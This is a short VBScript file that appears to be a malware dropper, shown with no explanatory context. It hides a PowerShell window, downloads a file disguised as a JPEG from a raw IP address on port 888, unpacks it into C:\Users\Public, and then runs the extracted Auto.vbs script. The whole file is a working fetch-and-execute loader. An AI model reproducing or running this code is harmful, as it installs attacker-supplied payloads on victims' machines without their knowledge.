Dim Shell, Bim, Style, Wait
Set Shell = CreateObject("WScript.Shell")
Bim = "powershell.exe -NoLogo -NoProfile -Command ""Start-BitsTransfer -Source 'http://23.26.77.110:888/sxe.jpg' -Destination 'C:\Users\Public\bbbb.zip'; Expand-Archive -Path 'C:\Users\Public\bbbb.zip' -DestinationPath 'C:\Users\Public\'"""
Style = 0
Wait = True
Shell.Run Bim, Style, Wait
WScript.Sleep 4000
Dim filePath, parameter
filePath = "C:\Users\Public\Auto.vbs"
parameter = ""
Shell.Run """" & filePath & """ """ & parameter & """"